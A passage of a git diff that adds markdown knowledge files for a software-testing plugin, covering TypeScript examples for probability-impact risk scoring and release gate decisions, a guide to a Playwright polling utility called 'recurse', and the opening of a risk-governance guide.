+export function assessRisk(params: { probability: Probability; impact: Impact; reasoning: string }): RiskAssessment {
+  const { probability, impact, reasoning } = params;
+
+  const score = calculateRiskScore(probability, impact);
+  const action = classifyRiskAction(score);
+
+  return { probability, impact, score, action, reasoning };
+}
+
+/**
+ * Generate risk matrix visualization (3x3 grid)
+ * Returns markdown table with color-coded scores
+ */
+export function generateRiskMatrix(): string {
+  const matrix: string[][] = [];
+  const header = ['Impact \\ Probability', 'Unlikely (1)', 'Possible (2)', 'Likely (3)'];
+  matrix.push(header);
+
+  const impactLabels = ['Critical (3)', 'Degraded (2)', 'Minor (1)'];
+  for (let impact = 3; impact >= 1; impact--) {
+    const row = [impactLabels[3 - impact]];
+    for (let probability = 1; probability <= 3; probability++) {
+      const score = calculateRiskScore(probability as Probability, impact as Impact);
+      const action = classifyRiskAction(score);
+      const emoji = action === 'BLOCK' ? '🔴' : action === 'MITIGATE' ? '🟠' : action === 'MONITOR' ? '🟡' : '🟢';
+      row.push(`${emoji} ${score}`);
+    }
+    matrix.push(row);
+  }
+
+  return matrix.map((row) => `| ${row.join(' | ')} |`).join('\n');
+}
+```
+
+**Key Points**:
+
+- Type-safe probability/impact (1-3 enforced at compile time)
+- Automatic action classification (DOCUMENT, MONITOR, MITIGATE, BLOCK)
+- Visual matrix generation for documentation
+- Risk score formula: `probability * impact` (max = 9)
+- Threshold-based decision rules (6-8 = MITIGATE, 9 = BLOCK)
+
+---
+
+### Example 2: Risk Assessment Workflow (Test Planning Integration)
+
+**Context**: Apply risk matrix during test design to prioritize scenarios
+
+**Implementation**:
+
+```typescript
+// tests/e2e/test-planning/risk-assessment.ts
+import { assessRisk, generateRiskMatrix, type RiskAssessment } from '../../../src/testing/risk-matrix';
+
+export type TestScenario = {
+  id: string;
+  title: string;
+  feature: string;
+  risk: RiskAssessment;
+  testLevel: 'E2E' | 'API' | 'Unit';
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+  owner: string;
+};
+
+/**
+ * Assess test scenarios and auto-assign priority based on risk score
+ */
+export function assessTestScenarios(scenarios: Omit<TestScenario, 'risk' | 'priority'>[]): TestScenario[] {
+  return scenarios.map((scenario) => {
+    // Auto-assign priority based on risk score
+    const priority = mapRiskToPriority(scenario.risk.score);
+    return { ...scenario, priority };
+  });
+}
+
+/**
+ * Map risk score to test priority (P0-P3)
+ * P0: Critical (score 9) - blocks release
+ * P1: High (score 6-8) - must fix before release
+ * P2: Medium (score 4-5) - fix if time permits
+ * P3: Low (score 1-3) - document and defer
+ */
+function mapRiskToPriority(score: number): 'P0' | 'P1' | 'P2' | 'P3' {
+  if (score === 9) return 'P0';
+  if (score >= 6) return 'P1';
+  if (score >= 4) return 'P2';
+  return 'P3';
+}
+
+/**
+ * Example: Payment flow risk assessment
+ */
+export const paymentScenarios: Array<Omit<TestScenario, 'priority'>> = [
+  {
+    id: 'PAY-001',
+    title: 'Valid credit card payment completes successfully',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 2, // Possible (standard Stripe integration)
+      impact: 3, // Critical (revenue loss if broken)
+      reasoning: 'Core revenue flow, but Stripe is well-tested',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-002',
+    title: 'Expired credit card shows user-friendly error',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 3, // Likely (edge case handling often buggy)
+      impact: 2, // Degraded (users see error, but can retry)
+      reasoning: 'Error handling logic is custom and complex',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-003',
+    title: 'Payment confirmation email formatting is correct',
+    feature: 'Email',
+    risk: assessRisk({
+      probability: 2, // Possible (template changes occasionally break)
+      impact: 1, // Minor (cosmetic issue, email still sent)
+      reasoning: 'Non-blocking, users get email regardless',
+    }),
+    testLevel: 'Unit',
+    owner: 'dev-team',
+  },
+  {
+    id: 'PAY-004',
+    title: 'Payment fails gracefully when Stripe is down',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 1, // Unlikely (Stripe has 99.99% uptime)
+      impact: 3, // Critical (complete checkout failure)
+      reasoning: 'Rare but catastrophic, requires retry mechanism',
+    }),
+    testLevel: 'API',
+    owner: 'qa-team',
+  },
+];
+
+/**
+ * Generate risk assessment report with priority distribution
+ */
+export function generateRiskReport(scenarios: TestScenario[]): string {
+  const priorityCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.priority] = (acc[s.priority] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  const actionCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.risk.action] = (acc[s.risk.action] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  return `
+# Risk Assessment Report
+
+## Risk Matrix
+${generateRiskMatrix()}
+
+## Priority Distribution
+- **P0 (Blocker)**: ${priorityCounts.P0 || 0} scenarios
+- **P1 (High)**: ${priorityCounts.P1 || 0} scenarios
+- **P2 (Medium)**: ${priorityCounts.P2 || 0} scenarios
+- **P3 (Low)**: ${priorityCounts.P3 || 0} scenarios
+
+## Action Required
+- **BLOCK**: ${actionCounts.BLOCK || 0} scenarios (auto-fail gate)
+- **MITIGATE**: ${actionCounts.MITIGATE || 0} scenarios (concerns at gate)
+- **MONITOR**: ${actionCounts.MONITOR || 0} scenarios (watch closely)
+- **DOCUMENT**: ${actionCounts.DOCUMENT || 0} scenarios (awareness only)
+
+## Scenarios by Risk Score (Highest First)
+${scenarios
+  .sort((a, b) => b.risk.score - a.risk.score)
+  .map((s) => `- **[${s.priority}]** ${s.id}: ${s.title} (Score: ${s.risk.score} - ${s.risk.action})`)
+  .join('\n')}
+`.trim();
+}
+```
+
+**Key Points**:
+
+- Risk score → Priority mapping (P0-P3 automated)
+- Report generation with priority/action distribution
+- Scenarios sorted by risk score (highest first)
+- Visual matrix included in reports
+- Reusable across projects (extract to shared library)
+
+---
+
+### Example 3: Dynamic Risk Re-Assessment (Continuous Evaluation)
+
+**Context**: Recalculate risk scores as project evolves (requirements change, mitigations implemented)
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-tracking.ts
+import { type RiskAssessment, assessRisk, type Probability, type Impact } from './risk-matrix';
+
+export type RiskHistory = {
+  timestamp: Date;
+  assessment: RiskAssessment;
+  changedBy: string;
+  reason: string;
+};
+
+export type TrackedRisk = {
+  id: string;
+  title: string;
+  feature: string;
+  currentRisk: RiskAssessment;
+  history: RiskHistory[];
+  mitigations: string[];
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'RESOLVED';
+};
+
+export class RiskTracker {
+  private risks: Map<string, TrackedRisk> = new Map();
+
+  /**
+   * Add new risk to tracker
+   */
+  addRisk(params: {
+    id: string;
+    title: string;
+    feature: string;
+    probability: Probability;
+    impact: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk {
+    const { id, title, feature, probability, impact, reasoning, changedBy } = params;
+
+    const assessment = assessRisk({ probability, impact, reasoning });
+
+    const risk: TrackedRisk = {
+      id,
+      title,
+      feature,
+      currentRisk: assessment,
+      history: [
+        {
+          timestamp: new Date(),
+          assessment,
+          changedBy,
+          reason: 'Initial assessment',
+        },
+      ],
+      mitigations: [],
+      status: 'OPEN',
+    };
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Reassess risk (probability or impact changed)
+   */
+  reassessRisk(params: {
+    id: string;
+    probability?: Probability;
+    impact?: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk | null {
+    const { id, probability, impact, reasoning, changedBy } = params;
+    const risk = this.risks.get(id);
+    if (!risk) return null;
+
+    // Use existing values if not provided
+    const newProbability = probability ?? risk.currentRisk.probability;
+    const newImpact = impact ?? risk.currentRisk.impact;
+
+    const newAssessment = assessRisk({
+      probability: newProbability,
+      impact: newImpact,
+      reasoning,
+    });
+
+    risk.currentRisk = newAssessment;
+    risk.history.push({
+      timestamp: new Date(),
+      assessment: newAssessment,
+      changedBy,
+      reason: reasoning,
+    });
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Mark risk as mitigated (probability reduced)
+   */
+  mitigateRisk(params: { id: string; newProbability: Probability; mitigation: string; changedBy: string }): TrackedRisk | null {
+    const { id, newProbability, mitigation, changedBy } = params;
+    const risk = this.reassessRisk({
+      id,
+      probability: newProbability,
+      reasoning: `Mitigation implemented: ${mitigation}`,
+      changedBy,
+    });
+
+    if (risk) {
+      risk.mitigations.push(mitigation);
+      if (risk.currentRisk.action === 'DOCUMENT' || risk.currentRisk.action === 'MONITOR') {
+        risk.status = 'MITIGATED';
+      }
+    }
+
+    return risk;
+  }
+
+  /**
+   * Get risks requiring action (MITIGATE or BLOCK)
+   */
+  getRisksRequiringAction(): TrackedRisk[] {
+    return Array.from(this.risks.values()).filter(
+      (r) => r.status === 'OPEN' && (r.currentRisk.action === 'MITIGATE' || r.currentRisk.action === 'BLOCK'),
+    );
+  }
+
+  /**
+   * Generate risk trend report (show changes over time)
+   */
+  generateTrendReport(riskId: string): string | null {
+    const risk = this.risks.get(riskId);
+    if (!risk) return null;
+
+    return `
+# Risk Trend Report: ${risk.id}
+
+**Title**: ${risk.title}
+**Feature**: ${risk.feature}
+**Status**: ${risk.status}
+
+## Current Assessment
+- **Probability**: ${risk.currentRisk.probability}
+- **Impact**: ${risk.currentRisk.impact}
+- **Score**: ${risk.currentRisk.score}
+- **Action**: ${risk.currentRisk.action}
+- **Reasoning**: ${risk.currentRisk.reasoning}
+
+## Mitigations Applied
+${risk.mitigations.length > 0 ? risk.mitigations.map((m) => `- ${m}`).join('\n') : '- None'}
+
+## History (${risk.history.length} changes)
+${risk.history
+  .reverse()
+  .map((h) => `- **${h.timestamp.toISOString()}** by ${h.changedBy}: Score ${h.assessment.score} (${h.assessment.action}) - ${h.reason}`)
+  .join('\n')}
+`.trim();
+  }
+}
+```
+
+**Key Points**:
+
+- Historical tracking (audit trail for risk changes)
+- Mitigation impact tracking (probability reduction)
+- Status lifecycle (OPEN → MITIGATED → RESOLVED)
+- Trend reports (show risk evolution over time)
+- Re-assessment triggers (requirements change, new info)
+
+---
+
+### Example 4: Risk Matrix in Gate Decision (Integration with Trace Workflow)
+
+**Context**: Use probability-impact scores to drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+
+**Implementation**:
+
+```typescript
+// src/testing/gate-decision.ts
+import { type RiskScore, classifyRiskAction, type RiskAction } from './risk-matrix';
+import { type TrackedRisk } from './risk-tracking';
+
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type GateResult = {
+  decision: GateDecision;
+  blockers: TrackedRisk[]; // Score=9, action=BLOCK
+  concerns: TrackedRisk[]; // Score 6-8, action=MITIGATE
+  monitored: TrackedRisk[]; // Score 4-5, action=MONITOR
+  documented: TrackedRisk[]; // Score 1-3, action=DOCUMENT
+  summary: string;
+};
+
+/**
+ * Evaluate gate based on risk assessments
+ */
+export function evaluateGateFromRisks(risks: TrackedRisk[]): GateResult {
+  const blockers = risks.filter((r) => r.currentRisk.action === 'BLOCK' && r.status === 'OPEN');
+  const concerns = risks.filter((r) => r.currentRisk.action === 'MITIGATE' && r.status === 'OPEN');
+  const monitored = risks.filter((r) => r.currentRisk.action === 'MONITOR');
+  const documented = risks.filter((r) => r.currentRisk.action === 'DOCUMENT');
+
+  let decision: GateDecision;
+
+  if (blockers.length > 0) {
+    decision = 'FAIL';
+  } else if (concerns.length > 0) {
+    decision = 'CONCERNS';
+  } else {
+    decision = 'PASS';
+  }
+
+  const summary = generateGateSummary({ decision, blockers, concerns, monitored, documented });
+
+  return { decision, blockers, concerns, monitored, documented, summary };
+}
+
+/**
+ * Generate gate decision summary
+ */
+function generateGateSummary(result: Omit<GateResult, 'summary'>): string {
+  const { decision, blockers, concerns, monitored, documented } = result;
+
+  const lines: string[] = [`## Gate Decision: ${decision}`];
+
+  if (decision === 'FAIL') {
+    lines.push(`\n**Blockers** (${blockers.length}): Automatic FAIL until resolved or waived`);
+    blockers.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Probability: ${r.currentRisk.probability}, Impact: ${r.currentRisk.impact}`);
+      lines.push(`  - Reasoning: ${r.currentRisk.reasoning}`);
+    });
+  }
+
+  if (concerns.length > 0) {
+    lines.push(`\n**Concerns** (${concerns.length}): Address before release`);
+    concerns.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Mitigations: ${r.mitigations.join(', ') || 'None'}`);
+    });
+  }
+
+  if (monitored.length > 0) {
+    lines.push(`\n**Monitored** (${monitored.length}): Watch closely`);
+    monitored.forEach((r) => lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`));
+  }
+
+  if (documented.length > 0) {
+    lines.push(`\n**Documented** (${documented.length}): Awareness only`);
+  }
+
+  lines.push(`\n---\n`);
+  lines.push(`**Next Steps**:`);
+  if (decision === 'FAIL') {
+    lines.push(`- Resolve blockers or request formal waiver`);
+  } else if (decision === 'CONCERNS') {
+    lines.push(`- Implement mitigations for high-risk scenarios (score 6-8)`);
+    lines.push(`- Re-run gate after mitigations`);
+  } else {
+    lines.push(`- Proceed with release`);
+  }
+
+  return lines.join('\n');
+}
+```
+
+**Key Points**:
+
+- Gate decision driven by risk scores (not gut feeling)
+- Automatic FAIL for score=9 (blockers)
+- CONCERNS for score 6-8 (requires mitigation)
+- PASS only when no blockers/concerns
+- Actionable summary with next steps
+- Integration with trace workflow (Phase 2)
+
+---
+
+## Probability-Impact Threshold Summary
+
+| Score | Action   | Gate Impact          | Typical Use Case                       |
+| ----- | -------- | -------------------- | -------------------------------------- |
+| 1-3   | DOCUMENT | None                 | Cosmetic issues, low-priority bugs     |
+| 4-5   | MONITOR  | None (watch closely) | Edge cases, partial unknowns           |
+| 6-8   | MITIGATE | CONCERNS at gate     | High-impact scenarios needing coverage |
+| 9     | BLOCK    | Automatic FAIL       | Critical blockers, must resolve        |
+
+## Risk Assessment Checklist
+
+Before deploying risk matrix:
+
+- [ ] **Probability scale defined**: 1 (unlikely), 2 (possible), 3 (likely) with clear examples
+- [ ] **Impact scale defined**: 1 (minor), 2 (degraded), 3 (critical) with concrete criteria
+- [ ] **Threshold rules documented**: Score → Action mapping (1-3 = DOCUMENT, 4-5 = MONITOR, 6-8 = MITIGATE, 9 = BLOCK)
+- [ ] **Gate integration**: Risk scores drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+- [ ] **Re-assessment process**: Risks re-evaluated as project evolves (requirements change, mitigations applied)
+- [ ] **Audit trail**: Historical tracking for risk changes (who, when, why)
+- [ ] **Mitigation tracking**: Link mitigations to probability reduction (quantify impact)
+- [ ] **Reporting**: Risk matrix visualization, trend reports, gate summaries
+
+## Integration Points
+
+- **Used in workflows**: `*test-design` (initial risk assessment), `*trace` (gate decision Phase 2), `*nfr-assess` (security/performance risks)
+- **Related fragments**: `risk-governance.md` (risk scoring matrix, gate decision engine), `test-priorities-matrix.md` (P0-P3 mapping), `nfr-criteria.md` (impact assessment for NFRs)
+- **Tools**: TypeScript for type safety, markdown for reports, version control for audit trail
+
+_Source: Murat risk model summary, gate decision patterns from production systems, probability-impact matrix from risk governance practices_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/recurse.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/recurse.md
new file mode 100644
index 0000000..b2b1322
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/recurse.md
@@ -0,0 +1,421 @@
+# Recurse (Polling) Utility
+
+## Principle
+
+Use Cypress-style polling with Playwright's `expect.poll` to wait for asynchronous conditions. Provides configurable timeout, interval, logging, and post-polling callbacks with enhanced error categorization. **Ideal for backend testing**: polling API endpoints for job completion, database eventual consistency, message queue processing, and cache propagation.
+
+## Rationale
+
+Testing async operations (background jobs, eventual consistency, webhook processing) requires polling:
+
+- Vanilla `expect.poll` is verbose
+- No built-in logging for debugging
+- Generic timeout errors
+- No post-poll hooks
+
+The `recurse` utility provides:
+
+- **Clean syntax**: Inspired by cypress-recurse
+- **Enhanced errors**: Timeout vs command failure vs predicate errors
+- **Built-in logging**: Track polling progress
+- **Post-poll callbacks**: Process results after success
+- **Type-safe**: Full TypeScript generic support
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('wait for job completion', async ({ recurse, apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until job completes
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    { timeout: 60000 },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Polling
+
+**Context**: Wait for async operation to complete with custom timeout and interval.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+test('should wait for job completion', async ({ recurse, apiRequest }) => {
+  // Start job
+  const { body } = await apiRequest({
+    method: 'POST',
+    path: '/api/jobs',
+    body: { type: 'export' },
+  });
+
+  // Poll until ready
+  const result = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/jobs/${body.id}` }),
+    (response) => response.body.status === 'completed',
+    {
+      timeout: 60000, // 60 seconds max
+      interval: 2000, // Check every 2 seconds
+      log: 'Waiting for export job to complete',
+    },
+  );
+
+  expect(result.body.downloadUrl).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- First arg: command function (what to execute)
+- Second arg: predicate function (when to stop)
+- Options: timeout, interval, log message
+- Returns the value when predicate returns true
+
+### Example 2: Working with Assertions
+
+**Context**: Use assertions directly in predicate for more expressive tests.
+
+**Implementation**:
+
+```typescript
+test('should poll with assertions', async ({ recurse, apiRequest }) => {
+  await apiRequest({
+    method: 'POST',
+    path: '/api/events',
+    body: { type: 'user-created', userId: '123' },
+  });
+
+  // Poll with assertions in predicate - no return true needed!
+  await recurse(
+    async () => {
+      const { body } = await apiRequest({ method: 'GET', path: '/api/events/123' });
+      return body;
+    },
+    (event) => {
+      // If all assertions pass, predicate succeeds
+      expect(event.processed).toBe(true);
+      expect(event.timestamp).toBeDefined();
+      // No need to return true - just let assertions pass
+    },
+    { timeout: 30000 },
+  );
+});
+```
+
+**Why no `return true` needed?**
+
+The predicate checks for "truthiness" of the return value. But there's a catch - in JavaScript, an empty `return` (or no return) returns `undefined`, which is falsy!
+
+The utility handles this by checking if:
+
+1. The predicate didn't throw (assertions passed)
+2. The return value was either `undefined` (implicit return) or truthy
+
+So you can:
+
+```typescript
+// Option 1: Use assertions only (recommended)
+(event) => {
+  expect(event.processed).toBe(true);
+};
+
+// Option 2: Return boolean (also works)
+(event) => event.processed === true;
+
+// Option 3: Mixed (assertions + explicit return)
+(event) => {
+  expect(event.processed).toBe(true);
+  return true;
+};
+```
+
+### Example 3: Error Handling
+
+**Context**: Understanding the different error types.
+
+**Error Types:**
+
+```typescript
+// RecurseTimeoutError - Predicate never returned true within timeout
+// Contains last command value and predicate error
+try {
+  await recurse(/* ... */);
+} catch (error) {
+  if (error instanceof RecurseTimeoutError) {
+    console.log('Timed out. Last value:', error.lastCommandValue);
+    console.log('Last predicate error:', error.lastPredicateError);
+  }
+}
+
+// RecurseCommandError - Command function threw an error
+// The command itself failed (e.g., network error, API error)
+
+// RecursePredicateError - Predicate function threw (not from assertions failing)
+// Logic error in your predicate code
+```
+
+**Custom Error Messages:**
+
+```typescript
+test('custom error on timeout', async ({ recurse, apiRequest }) => {
+  try {
+    await recurse(
+      () => apiRequest({ method: 'GET', path: '/api/status' }),
+      (res) => res.body.ready === true,
+      {
+        timeout: 10000,
+        error: 'System failed to become ready within 10 seconds - check background workers',
+      },
+    );
+  } catch (error) {
+    // Error message includes custom context
+    expect(error.message).toContain('check background workers');
+    throw error;
+  }
+});
+```
+
+### Example 4: Post-Polling Callback
+
+**Context**: Process or log results after successful polling.
+
+**Implementation**:
+
+```typescript
+test('post-poll processing', async ({ recurse, apiRequest }) => {
+  const finalResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/batch-job/123' }),
+    (res) => res.body.status === 'completed',
+    {
+      timeout: 60000,
+      post: (result) => {
+        // Runs after successful polling
+        console.log(`Job completed in ${result.body.duration}ms`);
+        console.log(`Processed ${result.body.itemsProcessed} items`);
+        return result.body;
+      },
+    },
+  );
+
+  expect(finalResult.itemsProcessed).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `post` callback runs after predicate succeeds
+- Receives the final result
+- Can transform or log results
+- Return value becomes final `recurse` result
+
+### Example 5: UI Testing Scenarios
+
+**Context**: Wait for UI elements to reach a specific state through polling.
+
+**Implementation**:
+
+```typescript
+test('table data loads', async ({ page, recurse }) => {
+  await page.goto('/reports');
+
+  // Poll for table rows to appear
+  await recurse(
+    async () => page.locator('table tbody tr').count(),
+    (count) => count >= 10, // Wait for at least 10 rows
+    {
+      timeout: 15000,
+      interval: 500,
+      log: 'Waiting for table data to load',
+    },
+  );
+
+  // Now safe to interact with table
+  await page.locator('table tbody tr').first().click();
+});
+```
+
+### Example 6: Event-Based Systems (Kafka/Message Queues)
+
+**Context**: Testing eventual consistency with message queue processing.
+
+**Implementation**:
+
+```typescript
+test('kafka event processed', async ({ recurse, apiRequest }) => {
+  // Trigger action that publishes Kafka event
+  await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    body: { productId: 'ABC123', quantity: 2 },
+  });
+
+  // Poll for downstream effect of Kafka consumer processing
+  const inventoryResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/inventory/ABC123' }),
+    (res) => {
+      // Assumes test fixture seeds inventory at 100; in production tests,
+      // fetch baseline first and assert: expect(res.body.available).toBe(baseline - 2)
+      expect(res.body.available).toBeLessThanOrEqual(98);
+    },
+    {
+      timeout: 30000, // Kafka processing may take time
+      interval: 1000,
+      log: 'Waiting for Kafka event to be processed',
+    },
+  );
+
+  expect(inventoryResult.body.lastOrderId).toBeDefined();
+});
+```
+
+### Example 7: Integration with API Request (Common Pattern)
+
+**Context**: Most common use case - polling API endpoints for state changes.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('end-to-end polling', async ({ apiRequest, recurse }) => {
+  // Trigger async operation
+  const { body: createResp } = await apiRequest({
+    method: 'POST',
+    path: '/api/data-import',
+    body: { source: 's3://bucket/data.csv' },
+  });
+
+  // Poll until import completes
+  const importResult = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/data-import/${createResp.importId}` }),
+    (response) => {
+      const { status, rowsImported } = response.body;
+      return status === 'completed' && rowsImported > 0;
+    },
+    {
+      timeout: 120000, // 2 minutes for large imports
+      interval: 5000, // Check every 5 seconds
+      log: `Polling import ${createResp.importId}`,
+    },
+  );
+
+  expect(importResult.body.rowsImported).toBeGreaterThan(1000);
+  expect(importResult.body.errors).toHaveLength(0);
+});
+```
+
+**Key Points**:
+
+- Combine `apiRequest` + `recurse` for API polling
+- Both from `@seontechnologies/playwright-utils/fixtures`
+- Complex predicates with multiple conditions
+- Logging shows polling progress in test reports
+
+## API Reference
+
+### RecurseOptions
+
+| Option     | Type               | Default     | Description                          |
+| ---------- | ------------------ | ----------- | ------------------------------------ |
+| `timeout`  | `number`           | `30000`     | Maximum time to wait (ms)            |
+| `interval` | `number`           | `1000`      | Time between polls (ms)              |
+| `log`      | `string`           | `undefined` | Message logged on each poll          |
+| `error`    | `string`           | `undefined` | Custom error message for timeout     |
+| `post`     | `(result: T) => R` | `undefined` | Callback after successful poll       |
+| `delay`    | `number`           | `0`         | Initial delay before first poll (ms) |
+
+### Error Types
+
+| Error Type              | When Thrown                             | Properties                               |
+| ----------------------- | --------------------------------------- | ---------------------------------------- |
+| `RecurseTimeoutError`   | Predicate never passed within timeout   | `lastCommandValue`, `lastPredicateError` |
+| `RecurseCommandError`   | Command function threw an error         | `cause` (original error)                 |
+| `RecursePredicateError` | Predicate threw (not assertion failure) | `cause` (original error)                 |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                                | recurse Utility                                                           |
+| ----------------------------------------------------------------- | ------------------------------------------------------------------------- |
+| `await expect.poll(() => { ... }, { timeout: 30000 }).toBe(true)` | `await recurse(() => { ... }, (val) => val === true, { timeout: 30000 })` |
+| No logging                                                        | Built-in log option                                                       |
+| Generic timeout errors                                            | Categorized errors (timeout/command/predicate)                            |
+| No post-poll hooks                                                | `post` callback support                                                   |
+
+## When to Use
+
+**Use recurse for:**
+
+- Background job completion
+- Webhook/event processing
+- Database eventual consistency
+- Cache propagation
+- State machine transitions
+
+**Stick with vanilla expect.poll for:**
+
+- Simple UI element visibility (use `expect(locator).toBeVisible()`)
+- Single-property checks
+- Cases where logging isn't needed
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `api-request.md` - Combine for API endpoint polling
+- `overview.md` - Fixture composition patterns
+- `fixtures-composition.md` - Using with mergeTests
+- `contract-testing.md` - Contract testing with async verification
+
+## Anti-Patterns
+
+**DON'T use hard waits instead of polling:**
+
+```typescript
+await page.click('#export');
+await page.waitForTimeout(5000); // Arbitrary wait
+expect(await page.textContent('#status')).toBe('Ready');
+```
+
+**DO poll for actual condition:**
+
+```typescript
+await page.click('#export');
+await recurse(
+  () => page.textContent('#status'),
+  (status) => status === 'Ready',
+  { timeout: 10000 },
+);
+```
+
+**DON'T poll too frequently:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 100 }, // Hammers API every 100ms!
+);
+```
+
+**DO use reasonable interval for API calls:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 2000 }, // Check every 2 seconds (reasonable)
+);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/risk-governance.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/risk-governance.md
new file mode 100644
index 0000000..1db093e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/risk-governance.md
@@ -0,0 +1,615 @@
+# Risk Governance and Gatekeeping
+
+## Principle
+
+Risk governance transforms subjective "should we ship?" debates into objective, data-driven decisions. By scoring risk (probability × impact), classifying by category (TECH, SEC, PERF, etc.), and tracking mitigation ownership, teams create transparent quality gates that balance speed with safety.
+
+## Rationale
+
+**The Problem**: Without formal risk governance, releases become political—loud voices win, quiet risks hide, and teams discover critical issues in production. "We thought it was fine" isn't a release strategy.
+
+**The Solution**: Risk scoring (1-3 scale for probability and impact, total 1-9) creates shared language. Scores ≥6 demand documented mitigation. Scores = 9 mandate gate failure. Every acceptance criterion maps to a test, and gaps require explicit waivers with owners and expiry dates.
+
+**Why This Matters**:
+
+- Removes ambiguity from release decisions (objective scores vs subjective opinions)
+- Creates audit trail for compliance (FDA, SOC2, ISO require documented risk management)
+- Identifies true blockers early (prevents last-minute production fires)
+- Distributes responsibility (owners, mitigation plans, deadlines for every risk >4)
+
+## Pattern Examples
+
+### Example 1: Risk Scoring Matrix with Automated Classification (TypeScript)
+
+**Context**: Calculate risk scores automatically from test results and categorize by risk type
+
+**Implementation**:
+
+```typescript
+// risk-scoring.ts - Risk classification and scoring system
+export const RISK_CATEGORIES = {
+  TECH: 'TECH', // Technical debt, architecture fragility
+  SEC: 'SEC', // Security vulnerabilities
+  PERF: 'PERF', // Performance degradation
+  DATA: 'DATA', // Data integrity, corruption
+  BUS: 'BUS', // Business logic errors
+  OPS: 'OPS', // Operational issues (deployment, monitoring)
+} as const;
+
+export type RiskCategory = keyof typeof RISK_CATEGORIES;
+
+export type RiskScore = {
+  id: string;
+  category: RiskCategory;
+  title: string;
+  description: string;
+  probability: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  impact: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  score: number; // probability × impact (1-9)
+  owner: string;
+  mitigationPlan?: string;
+  deadline?: Date;
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'ACCEPTED';
+  waiverReason?: string;
+  waiverApprover?: string;
+  waiverExpiry?: Date;
+};
+
+// Risk scoring rules
+export function calculateRiskScore(probability: 1 | 2 | 3, impact: 1 | 2 | 3): number {
+  return probability * impact;
+}
+
+export function requiresMitigation(score: number): boolean {
+  return score >= 6; // Scores 6-9 demand action
+}
+
+export function isCriticalBlocker(score: number): boolean {
+  return score === 9; // Probability=3 AND Impact=3 → FAIL gate
+}
+
+export function classifyRiskLevel(score: number): 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL' {
+  if (score === 9) return 'CRITICAL';
+  if (score >= 6) return 'HIGH';
+  if (score >= 4) return 'MEDIUM';
+  return 'LOW';
+}
+
+// Example: Risk assessment from test failures
+export function assessTestFailureRisk(failure: {
+  test: string;
+  category: RiskCategory;
+  affectedUsers: number;
+  revenueImpact: number;
+  securityVulnerability: boolean;
+}): RiskScore {
+  // Probability based on test failure frequency (simplified)
+  const probability: 1 | 2 | 3 = 3; // Test failed = High probability
+
+  // Impact based on business context
+  let impact: 1 | 2 | 3 = 1;
+  if (failure.securityVulnerability) impact = 3;
+  else if (failure.revenueImpact > 10000) impact = 3;
+  else if (failure.affectedUsers > 1000) impact = 2;
+  else impact = 1;
+
+  const score = calculateRiskScore(probability, impact);
+
+  return {
+    id: `risk-${Date.now()}`,
+    category: failure.category,
+    title: `Test failure: ${failure.test}`,
